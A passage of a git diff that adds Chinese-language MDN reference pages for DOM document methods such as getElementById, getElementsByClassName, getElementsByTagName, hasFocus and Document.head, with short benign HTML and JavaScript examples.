的方法时才能起作用，而在DOM中的其他元素下无法生效。这是因为 ID 值在整个网页中必须保持唯一。因此没有必要为这个方法创建所谓的 “局部” 版本。</p> + +<h2 id="示例">示例</h2> + +<pre class="notranslate"><!doctype html> +<html> +<head> + <meta charset="UTF-8"> + <title>Document</title> +</head> +<body> + <div id="parent-id"> + <p>hello word1</p> + <p id="test1">hello word2</p> + <p>hello word3</p> + <p>hello word4</p> + </div> + <script> + var parentDOM = document.getElementById('parent-id'); + var test1=parentDOM.getElementById('test1'); + //抛出错误 + //（这是一条错误信息）Uncaught TypeError: parentDOM.getElementById is not a function + </script> +</body> +</html></pre> + +<p>如果没有查找到对应的元素，方法会返回null。注意ID参数是大小写敏感的，所以<span style="font-family: consolas,monaco,andale mono,monospace;">document.getElementById("</span><strong style="font-family: consolas,monaco,andale mono,monospace;">M</strong><span style="font-family: consolas,monaco,andale mono,monospace;">ain")无法获取到元素<div id="</span><strong style="font-family: consolas,monaco,andale mono,monospace;">m</strong><span style="font-family: consolas,monaco,andale mono,monospace;">ain">，因为'M'和'm'是不一样的。</span></p> + +<p>getElementById方法不会搜索<strong>不在文档中的元素。</strong>当创建一个元素，并且分配ID后，你必须要使用<a href="/en-US/docs/DOM/Node.insertBefore" style="font-family: Consolas, Monaco, 'Andale Mono', monospace;" title="en-US/docs/DOM/Node.insertBefore">insertBefore</a>或其他类似的方法把元素插入到文档中，之后才能使用 getElementById 获取到:</p> + +<pre class="brush: js notranslate">var element = document.createElement("div"); +element.id = 'testqq'; +var el = document.getElementById('testqq'); // el 是个 null +</pre> + +<p><strong>非HTML文档（Non-HTML documents</strong>）。 DOM的实现必须说明哪个属性是ID类型。只有DTD定义了'id'是ID属性时’id‘才会被认为是ID属性。在 <a href="/en-US/docs/XHTML" title="en-US/docs/XHTML">XHTML</a>, <a href="/en-US/docs/XUL" style="text-decoration: underline;" title="en-US/docs/XUL">XUL</a>或者其他文档中，'id'通常被定义为ID类型的属性。不知道哪个属性是ID类型的实现中，这会返回null结果。</p> + +<h2 id="Specification" name="Specification">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">说明</th> + </tr> + <tr> + <td>{{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td>接口初始定义</td> + </tr> + <tr> + <td>{{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}}</td> + <td>{{Spec2('DOM2 Core')}}</td> + <td>取代DOM 1</td> + </tr> + <tr> + <td>{{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}}</td> + <td>{{Spec2('DOM3 Core')}}</td> + <td>取代DOM 2</td> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG','#interface-nonelementparentnode','getElementById')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>准备取代DOM 3</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_Compatibility" name="Browser_Compatibility">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.getElementById")}}</p> + +<h2 id="See_also" name="See_also">相关链接</h2> + +<ul> + <li><a href="/zh-CN/docs/DOM/document" title="en-US/docs/DOM/document">document</a> 包含其他用于在文档中查找元素的方法</li> + <li><a href="/zh-CN/docs/Web/API/document.querySelector">document.querySelector()</a> 类似<span style="font-family: consolas,monaco,andale mono,monospace;">'div.myclass'的元素的选择</span></li> + <li><a href="/zh-CN/docs/xml/xml:id" title="en-US/docs/xml/id">xml:id</a> - has a utility method for allowing <code>getElementById</code> to obtain 'xml:id' in XML documents (such as returned by Ajax calls)</li> +</ul> diff --git a/files/zh-cn/web/api/document/getelementsbyclassname/index.html b/files/zh-cn/web/api/document/getelementsbyclassname/index.html new file mode 100644 index 0000000000..ea090774ad --- /dev/null +++ b/files/zh-cn/web/api/document/getelementsbyclassname/index.html @@ -0,0 +1,129 @@ +--- +title: Document.getElementsByClassName() +slug: Web/API/Document/getElementsByClassName +tags: + - API + - DOM + - HTML5 +translation_of: Web/API/Document/getElementsByClassName +--- +<p id="Summary">{{APIRef("DOM")}}</p> + +<p>返回一个包含了所有指定类名的子元素的类数组对象。当在document对象上调用时，会搜索整个DOM文档，包含根节点。你也可以在任意元素上调用{{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} 方法，它将返回的是以当前元素为根节点，所有指定类名的子元素。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox"><var>var elements</var> = document.getElementsByClassName(<em>names</em>); // or: +<var>var elements</var> = rootElement.getElementsByClassName(<em>names</em>);</pre> + +<ul> + <li><var>elements</var> 是一个实时{{ domxref("HTMLCollection", "集合") }}，包含了找到的所有元素。</li> + <li><var>names</var> 是一个字符串，表示要匹配的类名列表；类名通过空格分隔</li> + <li>getElementsByClassName 可以在任何元素上调用，不仅仅是 document。 调用这个方法的元素将作为本次查找的根元素.</li> +</ul> + +<h2 id="Examples" name="Examples">示例</h2> + +<p>获取所有 class 为 'test' 的元素:</p> + +<pre class="brush: js">document.getElementsByClassName('test');</pre> + +<p>获取所有 class 同时包括 'red' 和 'test' 的元素.</p> + +<pre class="brush: js">document.getElementsByClassName('red test');</pre> + +<p>在id 为'main'的元素的子节点中，获取所有class为'test'的元素</p> + +<pre class="brush: js">document.getElementById('main').getElementsByClassName('test');</pre> + +<p>我们还可以对任意的 {{ domxref("HTMLCollection") }} 使用 Array.prototype 的方法，调用时传递 <var>HTMLCollection</var> 作为方法的参数。这里我们将查找到所有class为 'test' 的 div 元素:</p> + +<pre class="brush: js">var testElements = document.getElementsByClassName('test'); +var testDivs = Array.prototype.filter.call(testElements, function(testElement){ + return testElement.nodeName === 'DIV'; +}); +</pre> + +<h3 id="获取第一个类名为_test_的元素">获取第一个类名为 test 的元素</h3> + +<p>这是 <code>getElementsByClassName()</code> 的通常用法：</p> + +<pre class="brush: html"><html> +<body> + + <div id="parent-id"> + <p>hello world 1</p> + <p class="test">hello world 2</p> + <p>hello world 3</p> + <p>hello world 4</p> + </div> + + <script> + var parentDOM = document.getElementById("parent-id"); + + var test = parentDOM.getElementsByClassName("test"); // 匹配类名的元素集合，不是元素本身 + console.log(test); //HTMLCollection[1] + + var testTarget = parentDOM.getElementsByClassName("test")[0]; // 我们想要取到的第一个元素 + console.log(testTarget); //<p class="test">hello world 2</p> + </script> +</body> +</html></pre> + +<h2 id="多个_Class_示例">多个 Class 示例</h2> + +<p><code>document.getElementsByClassName</code> 的工作方式与 <code>document.querySelector</code> 和 <code>document.querySelectorAll</code> 很相似。 只有所有 className 都匹配的元素会被选择。</p> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><code><span class="orange fruit">Orange Fruit</span> +<span class="orange juice">Orange Juice</span> +<span class="apple juice">Apple Juice</span> +<span class="foo bar">Something Random</span> +<textarea id="resultArea" style="width:100%;height:7em"></textarea></code></pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js"><code>// getElementsByClassName selects partial matches +var allOrangeJuiceByClass = document.getElementsByClassName('orange juice'); +var result = "document.getElementsByClassName('orange juice')"; +for (var i=0, len=allOrangeJuiceByClass.length|0; i<len; i=i+1|0) { + result += "\n " + allOrangeJuiceByClass[i].textContent; +} + + +// querySelector only selects full complete matches +var allOrangeJuiceQuery = document.querySelectorAll('.orange.juice'); +result += "\n\ndocument.querySelectorAll('.orange.juice')"; +for (var i=0, len=allOrangeJuiceQuery.length|0; i<len; i=i+1|0) { + result += "\n " + allOrangeJuiceQuery[i].textContent; +} + +document.getElementById("resultArea").value = result;</code></pre> + +<h3 id="结果">结果</h3> + +<p>{{EmbedLiveSample('Multiple_Classes_Example')}}</p> + +<h2 id="Specification" name="Specification">规范</h2> + +<table> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-getelementsbyclassname', 'document.getElementsByClassName')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{Compat("api.Document.getElementsByClassName")}}</p> diff --git a/files/zh-cn/web/api/document/getelementsbyname/index.html b/files/zh-cn/web/api/document/getelementsbyname/index.html new file mode 100644 index 0000000000..edfbfc10cf --- /dev/null +++ b/files/zh-cn/web/api/document/getelementsbyname/index.html @@ -0,0 +1,95 @@ +--- +title: Document.getElementsByName() +slug: Web/API/Document/getElementsByName +tags: + - API + - DOM + - Document + - HTML + - Method +translation_of: Web/API/Document/getElementsByName +--- +<div>{{APIRef("DOM")}}</div> + +<p>根据给定的{{domxref("element.name","name")}} 返回一个在 (X)HTML document的节点列表集合。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox notranslate"><em>elements</em> = document.getElementsByName(<em>name</em>) +</pre> + +<ul> + <li><code>elements</code> 是一个实时更新的 {{domxref("NodeList")}} 集合。当文档中有同一个name属性的元素被添加或移除时，这个集合会自动更新。</li> + <li><code>name</code> 是元素的 <code>name</code> 属性的值。</li> +</ul> + +<h2 id="Example" name="Example">例子</h2> + +<pre class="brush:html notranslate"><!DOCTYPE html> +<html lang="en"> +<head> + ... +</head> + +<body> +<form name="up"><input type="text"></form> +<div name="down"><input type="text"></div> + +<script> +var up_forms = document.getElementsByName("up"); +console.log(up_forms[0].tagName); // returns "FORM" +</script> +</body> +</html> +</pre> + +<h2 id="Notes" name="Notes">注释</h2> + +<p>{{domxref("element.name","name")}} 属性只有在(X)HTML文档中可用。</p> + +<p>该方法返回一个live的 {{domxref("NodeList")}} 集合，这个集合包含 {{domxref("element.name","name")}} 属性为指定值的所有元素，例如{{htmlelement("meta")}} 、{{htmlelement("object")}}，甚至那些不支持 {{domxref("element.name","name")}} 属性但是添加了 {{domxref("element.name","name")}} 自定义属性的元素也包含其中。</p> + +<div class="warning"> +<p>getElementsByName 在不同的浏览器其中工作方式不同。在IE和Opera中， getElementsByName() 方法还会返回那些 {{domxref("element.id","id")}} 为指定值的元素。所以你要小心使用该方法，最好不要为元素的 {{domxref("element.name","name")}} 和 {{domxref("element.id","id")}} 赋予相同的值。 </p> +</div> + +<div class="warning"> +<p>IE 和 Edge 都返回一个 {{domxref("HTMLCollection")}}, 而不是{{domxref("NodeList")}} 。</p> +</div> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-getelementsbyname', "Document.getElementsByName()")}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("DOM2 HTML", "html.html#ID-71555259", "Document.getElementsByName()")}}</td> + <td>{{Spec2("DOM2 HTML")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden"> +<p>此页面上的兼容性表由结构化数据生成。 如果您想为数据做出贡献，请查看 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 并向我们发送 pull 请求。</p> +</div> + +<p>{{Compat("api.Document.getElementsByName")}}</p> + +<h2 id="See_also" name="See_also">参阅</h2> + +<ul> + <li>{{domxref("document.getElementById()")}} 通过 <code>id</code> 返回对元素的引用</li> + <li>{{domxref("document.querySelector()")}} 通过 CSS 选择器返回对元素的引用，例如 <code>'div.myclass'</code></li> +</ul> diff --git a/files/zh-cn/web/api/document/getelementsbytagname/index.html b/files/zh-cn/web/api/document/getelementsbytagname/index.html new file mode 100644 index 0000000000..9e8120dd11 --- /dev/null +++ b/files/zh-cn/web/api/document/getelementsbytagname/index.html @@ -0,0 +1,98 @@ +--- +title: Document.getElementsByTagName() +slug: Web/API/Document/getElementsByTagName +translation_of: Web/API/Document/getElementsByTagName +--- +<div>{{ ApiRef("DOM") }}</div> + +<div> </div> + +<p><span class="seoSummary">返回一个包括所有给定标签名称的元素的HTML集合{{domxref("HTMLCollection")}}。</span> 整个文件结构都会被搜索，包括根节点。返回的 <code>HTML集合</code>是动态的, 意味着它可以自动更新自己来保持和 DOM 树的同步而不用再次调用 <code>document.getElementsByTagName()</code> 。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var <var>elements</var> = document.getElementsByTagName(<em>name</em>);</pre> + +<ul> + <li><code>elements</code> 是一个由发现的元素出现在树中的顺序构成的动态的HTML集合 {{domxref("HTMLCollection")}} (但是看下面的提示) 。</li> + <li><code>name</code> 是一个代表元素的名称的字符串。特殊字符 "*" 代表了所有元素。</li> +</ul> + +<div class="note"><strong>注意:</strong> <a href="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html" title="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html">最新的 W3C 规范</a> 说明这些元素是 <code>HTMLCollection（HTML集合）；</code> 然而, 这个方法在WebKit内核的浏览器中返回一个 {{domxref("NodeList")}} 。 更多详情请查看 {{bug(14869)}} 。</div> + +<h2 id="例子">例子</h2> + +<p>在以下的例子中，<code>getElementsByTagName() 开始于一个具体的父级元素并且从它自上而下递归地在</code>DOM树中<code>搜索符合标签名称参数的子元素。</code></p> + +<p>注意调用 <code>getElementsByTagName()</code> 的不是那个文件节点 document，事实上是使用这个方法 {{domxref("element.getElementsByTagName()")}}。</p> + +<pre class="brush:html"><!DOCTYPE html> +<html lang="en"> +<head> + <meta charset="UTF-8" /> + <title>getElementsByTagName example</title> + <script> + function getAllParaElems() { + var allParas = document.getElementsByTagName("p"); + var num = allParas.length; + alert("There are " + num + " paragraph in this document"); + } + + function div1ParaElems() { + var div1 = document.getElementById("div1"); + var div1Paras = div1.getElementsByTagName("p"); + var num = div1Paras.length; + alert("There are " + num + " paragraph in #div1"); + } + + function div2ParaElems() { + var div2 = document.getElementById("div2"); + var div2Paras = div2.getElementsByTagName("p"); + var num = div2Paras.length; + alert("There are " + num + " paragraph in #div2"); + } + </script> +</head> +<body style="border: solid green 3px"> + <p>Some outer text</p> + <p>Some outer text</p> + + <div id="div1" style="border: solid blue 3px"> + <p>Some div1 text</p> + <p>Some div1 text</p> + <p>Some div1 text</p> + + <div id="div2" style="border: solid red 3px"> + <p>Some div2 text</p> + <p>Some div2 text</p> + </div> + </div> + + <p>Some outer text</p> + <p>Some outer text</p> + + <button onclick="getAllParaElems();"> + show all p elements in document</button><br /> + + <button onclick="div1ParaElems();"> + show all p elements in div1 element</button><br /> + + <button onclick="div2ParaElems();"> + show all p elements in div2 element</button> + +</body> +</html> +</pre> + +<h2 id="注意">注意</h2> + +<p>当在一个HTML 文件上执行时， <code>getElementsByTagName()</code> 会在执行前把参数转换为小写字母。这是试着在一个HTML文件的子树匹配驼峰命名法的 SVG 元素时不希望的。 {{Domxref("document.getElementsByTagNameNS()")}} 在那种情况下会有用. 请查看 {{Bug(499656)}}。</p> + +<p><code>document.getElementsByTagName()</code> 类似于 {{domxref("element.getElementsByTagName()")}}，除了它会搜索整个文档这点。</p> + +<h2 id="参考">参考</h2> + +<ul> + <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-A6C9094">DOM Level 2 Core: Document.getElementsByTagName</a></li> + <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/getelementsbytagnamens/index.html b/files/zh-cn/web/api/document/getelementsbytagnamens/index.html new file mode 100644 index 0000000000..6c6e7cce87 --- /dev/null +++ b/files/zh-cn/web/api/document/getelementsbytagnamens/index.html @@ -0,0 +1,133 @@ +--- +title: Document.getElementsByTagNameNS() +slug: Web/API/Document/getElementsByTagNameNS +translation_of: Web/API/Document/getElementsByTagNameNS +--- +<p>{{ ApiRef("DOM") }}</p> + +<pre class="syntaxbox"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/3.6">Firefox 3.6 note</a> + +请参阅 <a href='\"en/DOM/element.getElementsByTagNameNS#Notes\"'>Notes section of element.getElementsByTagNameNS</a> 中的更改，这些更改同时适用于 Firefox 3.6的API.</pre> + +<p>返回带有指定名称和命名空间的元素集合。整个文件结构都会被搜索，包括根节点。</p> + +<p> </p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="eval"><em>elements</em> = document.getElementsByTagNameNS(<em>namespace</em>, <em>name</em>) +</pre> + +<ul> + <li><code>elements </code>是一个在树中按顺序查询到的动态的HTML集合 <a href="https://developer.mozilla.org/zh-CN/docs/Web/API/HTMLCollection" title="HTMLCollection 接口表示一个包含了元素（元素顺序为文档流中的顺序）的通用集合（generic collection），还提供了用来从该集合中选择元素的方法和属性。"><code>HTMLCollection</code></a> (但是看下面的提示)。</li> + <li><code>namespace </code>是所要查询的元素的命名空间URL(参考 <code><a href="/en/DOM/Node.namespaceURI" title="En/DOM/Node.namespaceURI">element.namespaceURI</a></code>)。</li> + <li><code>name</code> 是所要查询的元素的名称。其中特殊字符 "*" 代表所有元素 (参考 <code><a href="/en/DOM/Node.localName" title="En/DOM/Node.localName">element.localName</a></code>)。</li> +</ul> + +<div class="note"><strong>注意：</strong>在W3C文档中，<code>elements</code>是一个 <code>NodeList</code>，而该方法在Gecko内核的浏览器和IE中返回的是HTML集合<code><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/HTMLCollection" title="HTMLCollection 接口表示一个包含了元素（元素顺序为文档流中的顺序）的通用集合（generic collection），还提供了用来从该集合中选择元素的方法和属性。">HTMLCollection</a>.</code> Opera返回的也是一个 <code>NodeList</code>，但通过 <code>namedItem</code>方法 ， 使得它类似于一个<code>HTMLCollection</code> . 截止2012年1月，只有WebKit内核的浏览器返回的值是一个纯 <code>NodeList</code>. 详情请参考 <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=14869" title="https://bugzilla.mozilla.org/show_bug.cgi?id=14869">bug 14869</a> .</div> + +<h2 id="Example" name="Example">示例</h2> + +<p>在下面的示例中，<code>getElementsByTagNameNS</code>方法从一个特定的父元素开始，并从该父元素的DOM中自上而下递归式搜索，查找所有与标签名参数匹配的子元素 。</p> + +<p>注意当调用<code>getElementsByTagName</code>方法获取到的节点不是文档节点时，实际上是调用了<a href="/en/DOM/element.getElementsByTagNameNS" title="en/DOM/element.getElementsByTagNameNS">element.getElementsByTagNameNS</a>方法 。</p> + +<p>需要使用以下示例，只需复制/粘贴以下代码到用.xhtml后缀名保存的新文件中即可。</p> + +<pre class="brush: html"><html xmlns="<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>"> + +<head> +<title>getElementsByTagNameNS example</title> + +<script type="text/javascript"> + +function getAllParaElems() +{ + var allParas = document.getElementsByTagNameNS("<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>", "p"); + + var num = allParas.length; + + alert("There are " + num + " &lt;p&gt; elements in this document"); +} + + +function div1ParaElems() +{ + var div1 = document.getElementById("div1") + var div1Paras = div1.getElementsByTagNameNS("<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>", "p"); + + var num = div1Paras.length; + + alert("There are " + num + " &lt;p&gt; elements in div1 element"); +} + + +function div2ParaElems() +{ + var div2 = document.getElementById("div2") + var div2Paras = div2.getElementsByTagNameNS("<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>", "p"); + + var num = div2Paras.length; + + alert("There are " + num + " &lt;p&gt; elements in div2 element"); +} + +</script> +</head> + +<body style="border: solid green 3px"> +<p>Some outer text</p> +<p>Some outer text</p> + + <div id="div1" style="border: solid blue 3px"> + <p>Some div1 text</p> + <p>Some div1 text</p> + <p>Some div1 text</p> + + <div id="div2" style="border: solid red 3px"> + <p>Some div2 text</p> + <p>Some div2 text</p> + </div> + </div> + +<p>Some outer text</p> +<p>Some outer text</p> + +<button onclick="getAllParaElems();"> + show all p elements in document</button><br /> + +<button onclick="div1ParaElems();"> + show all p elements in div1 element</button><br /> + +<button onclick="div2ParaElems();"> + show all p elements in div2 element</button> + +</body> +</html> +</pre> + +<h2 id="Potential_Workaround_for_other_browsers_which_do_not_support" name="Potential_Workaround_for_other_browsers_which_do_not_support">针对其他不支持此方法的浏览器的解决方法</h2> + +<p>如果所使用的浏览器不支持此方法，可使用另一种方法（例如遍历所有子元素的DOM，识别所有@xmlns实例等等）来查找所有具有本地名称和命名空间的标签，但此方法更快。 (为了兼容 Explorer, 在下面的函数中，你可以调用一个XPath包, 而不仅仅是 XPath (由于 Explorer 支持不同API的XPath ), 例如 <a class="external" href="http://www.davidflanagan.com/javascript5/display.php?n=21-10&f=21/10.js">this wrapper class</a>.)</p> + +<pre class="brush: js">function getElementsByTagNameNSWrapper (ns, elName, doc, context) { + if (!doc) { + doc = document; + } + if (!context) { + context = doc; + } + + var result = doc.evaluate('//*[local-name()="'+elName+'" and namespace-uri() = "'+ns+'"]', context, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null); + + var a = []; + for(var i = 0; i < result.snapshotLength; i++) { + a[i] = result.snapshotItem(i); + } + return a; +} +</pre> + +<h2 id="Specification" name="Specification">规范</h2> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-getElBTNNS">DOM Level 2 Core: Document.getElementsByTagNameNS</a></p> diff --git a/files/zh-cn/web/api/document/getselection/index.html b/files/zh-cn/web/api/document/getselection/index.html new file mode 100644 index 0000000000..6141267272 --- /dev/null +++ b/files/zh-cn/web/api/document/getselection/index.html @@ -0,0 +1,14 @@ +--- +title: document.getSelection +slug: Web/API/Document/getSelection +translation_of: Web/API/DocumentOrShadowRoot/getSelection +--- +<article class="approved text-content" style="padding-right: 10px; width: 652px; float: left;"> +<div class="boxed translate-rendered" style=""> +<p>{{APIRef("DOM")}}</p> + +<p>该方法的功能等价于 {{domxref("Window.getSelection()")}} 方法；其返回一个 {{domxref("Selection")}} 对象，表示文档中当前被选择的文本。</p> +</div> +</article> + +<p> </p> diff --git a/files/zh-cn/web/api/document/hasfocus/index.html b/files/zh-cn/web/api/document/hasfocus/index.html new file mode 100644 index 0000000000..e7386bd4d1 --- /dev/null +++ b/files/zh-cn/web/api/document/hasfocus/index.html @@ -0,0 +1,122 @@ +--- +title: document.hasFocus +slug: Web/API/Document/hasFocus +tags: + - API + - DOM + - 参考 + - 方法 + - 焦点 +translation_of: Web/API/Document/hasFocus +--- +<p>{{ ApiRef }}</p> + +<h3 id="Summary" name="Summary">概述</h3> + +<p><code><strong>Document.hasFocus()</strong></code> 方法返回一个 {{jsxref("Boolean")}}，表明当前文档或者当前文档内的节点是否获得了焦点。该方法可以用来判断当前文档中的活动元素是否获得了焦点。</p> + +<div class="note">当查看一个文档时，当前文档中获得焦点的元素一定是当前文档的活动元素，但一个文档中的活动元素不一定获得了焦点.。例如， 一个在后台的窗口中的活动元素一定没有获得焦点。</div> + +<h3 id="Syntax" name="Syntax">语法</h3> + +<pre class="eval">focused = document.hasFocus(); +</pre> + +<h4 id="返回值">返回值</h4> + +<p>如果当前文档的活动元素获得了焦点，返回<code> true</code>，否则返回false。</p> + +<h3 id="Example" name="Example">例子</h3> + +<pre class="brush: js"><!DOCTYPE html> +<html> +<head> + <style type='text/css'> + #message { font-weight: bold; } + </style> + +<script type='text/javascript'> + setInterval("CheckPageFocus()", 200); + + function CheckPageFocus() { + var info = document.getElementById("message"); + if (document.hasFocus()) { + info.innerHTML = "该页面获得了焦点."; + } + else { + info.innerHTML = "该页面没有获得焦点."; + } + } + + function OpenWindow() { + window.open ("<a href="http://developer.mozilla.org/">http://developer.mozilla.org/</a>", "mozdev", + "width=640, height=300, left=150, top=260"); + } +</script> +</head> + +<body> + document.hasFocus 演示<br /><br /> +<div id="message">等待用户操作</div><br /> +<button onclick="OpenWindow()">打开一个新窗口</button> +</body> +</html> +</pre> + +<h3 id="浏览器兼容性"><span>浏览器兼容性</span></h3> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatGeckoDesktop("1.9") }}</td> + <td>6.0</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatGeckoMobile("1.9") }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<h3 id="Specification" name="Specification">规范</h3> + +<ul> + <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#focus-management">Focus management </a></li> +</ul> + +<p>{{ languages( { "en": "en/DOM/document.hasFocus","es": "es/DOM/element.hasFocus", "fr": "fr/DOM/document.hasFocus", "ja": "ja/DOM/document.hasFocus", "pl": "pl/DOM/document.hasFocus" } ) }}</p> diff --git a/files/zh-cn/web/api/document/hasstorageaccess/index.html b/files/zh-cn/web/api/document/hasstorageaccess/index.html new file mode 100644 index 0000000000..b0f07d0bf8 --- /dev/null +++ b/files/zh-cn/web/api/document/hasstorageaccess/index.html @@ -0,0 +1,49 @@ +--- +title: Document.hasStorageAccess() +slug: Web/API/Document/hasStorageAccess +translation_of: Web/API/Document/hasStorageAccess +--- +<div>{{APIRef}}{{seecompattable}}</div> + +<div>{{domxref("Document")}}的<strong><code>hasStorageAccess()</code></strong> 方法返回了一个{{jsxref("Promise")}}来判断该文档是否有访问第一方储存的权限。</div> + +<p>通过 <a href="/en-US/docs/Web/API/Storage_Access_API">Storage Access API</a> 获取更多信息。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var <em>promise</em> = document.hasStorageAccess();</pre> + +<h3 id="参数">参数</h3> + +<p>None.</p> + +<h3 id="返回值">返回值</h3> + +<p>一个用来判断文档是否有权利访问其第一方存储的{{jsxref("Promise")}} 。</p> + +<p>If the promise gets resolved and a user gesture event was being processed when the function was originally called, the resolve handler will run as if a user gesture was being processed, so it will be able to call APIs that require user activation.</p> + +<h2 id="Examples">Examples</h2> + +<pre class="brush: js">document.hasStorageAccess().then(hasAccess => { + if (hasAccess) { + // storage access has been granted already. + } else { + // storage access hasn't been granted already; + // you may want to call requestStorageAccess(). + } +});</pre> + +<h2 id="Specifications">Specifications</h2> + +<p>The API is currently only at the proposal stage — the standardization process has yet to begin. You can currently find specification details of the API at Apple's <a href="https://webkit.org/blog/8124/introducing-storage-access-api/">Introducing Storage Access API</a> blog post, and <a href="https://github.com/whatwg/html/issues/3338">WHATWG HTML issue 3338 — Proposal: Storage Access API</a>.</p> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.Document.hasStorageAccess")}}</p> + +<h2 id="See_also">See also</h2> + +<p><a href="/en-US/docs/Web/API/Storage_Access_API">Storage Access API</a></p> diff --git a/files/zh-cn/web/api/document/head/index.html b/files/zh-cn/web/api/document/head/index.html new file mode 100644 index 0000000000..a356a8273b --- /dev/null +++ b/files/zh-cn/web/api/document/head/index.html @@ -0,0 +1,72 @@ +--- +title: Document.head +slug: Web/API/Document/head +translation_of: Web/API/Document/head +--- +<p>{{APIRef}}</p> +<h2 id="Summary" name="Summary">概述</h2> +<p>返回当前文档中的 {{ HTMLElement("head") }} 元素。如果有多个 <code><head></code> 元素，则返回第一个。</p> +<h2 id="Syntax" name="Syntax">语法</h2> +<pre class="syntaxbox"><em>var objRef</em> = document.head; +</pre> +<h2 id="Example" name="Example">示例</h2> +<pre class="brush: js">// HTML部分源码为: <head id="my-document-head"> +var aHead = document.head; + +alert(aHead.id); // "my-document-head"; + +alert( document.head === document.querySelector("head") ); // true +</pre> +<h2 id="Example" name="Example">附注</h2> +<p><code>document.head</code> 是个只读属性，为该属性赋值只会静默失败，如果在严格模式中，则会抛出<code>TypeError</code>异常。</p> +<h2 id="浏览器兼容性">浏览器兼容性</h2> +<div> + {{CompatibilityTable}}</div> +<div id="compat-desktop"> + <table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>4.0</td> + <td>{{CompatGeckoDesktop("2")}}</td> + <td>9.0</td> + <td>11.0</td> + <td>5.0</td> + </tr> + </tbody> + </table> +</div> +<div id="compat-mobile"> + <table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("2")}}</td> + <td>9.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> + </table> +</div> +<h2 id="Specification" name="Specification">规范</h2> +<ul> + <li><a href="http://www.w3.org/TR/html5/dom.html#dom-tree-accessors" title="http://www.w3.org/TR/html5/dom.html#dom-document-head">HTML5: DOM Tree 